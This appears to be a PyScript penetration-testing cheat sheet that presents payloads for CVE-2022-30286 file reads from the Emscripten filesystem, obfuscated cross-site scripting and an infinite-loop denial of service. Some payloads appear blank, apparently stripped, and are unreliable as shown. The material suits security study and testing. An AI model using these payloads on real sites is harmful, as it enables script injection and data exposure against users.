# PyScript Pentesting Guide PyScript is a new framework developed for integrating Python in the HTML so, it can be used alongside HTML. In this cheat sheet you'll find how to use the PyScript for your penetration testing purposes. ## Dumping / Retrieving files from the Emscripten virtual memory filesystem: `CVE ID: CVE-2022-30286`

Code: ``` with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out = fin.read() print(out) ``` Result: ![image](https://user-images.githubusercontent.com/66295316/166847974-978c4e23-05fa-402f-884a-38d91329bac3.png) ## [OOB Data Exfiltration of the Emscripten virtual memory filesystem (console monitoring)](https://cyber-guy.gitbook.io/cyber-guy/blogs/the-art-of-vulnerability-chaining-pyscript) `CVE ID: CVE-2022-30286`

Code: ``` x = "CyberGuy" if x == "CyberGuy": with open('/lib/python3.10/asyncio/tasks.py') as output: contents = output.read() print(contents) print('') ``` Result: ![image](https://user-images.githubusercontent.com/66295316/166848198-49f71ccb-73cf-476b-b8f3-139e6371c432.png) ## Cross Site Scripting (Ordinary) Code: ``` print("") ``` Result: ![image](https://user-images.githubusercontent.com/66295316/166848393-e835cf6b-992e-4429-ad66-bc54b98de5cf.png) ## Cross Site Scripting (Python Obfuscated) Code: ``` sur = "\u0027al";fur = "e";rt = "rt" p = "\x22x$$\x22\x29\u0027\x3E" s = "\x28";pic = "\x3Cim";pa = "g";so = "sr" e = "c\u003d";q = "x" y = "o";m = "ner";z = "ror\u003d" print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p) ``` Result: ![image](https://user-images.githubusercontent.com/66295316/166848370-d981c94a-ee05-42a8-afb8-ccc4fc9f97a0.png) ## Cross Site Scripting (JavaScript Obfuscation) Code: ``` print("") ``` Result: ![image](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png) ## DoS attack (Infinity loop) Code: ``` while True: print("                              ") ``` Result: ![image](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png)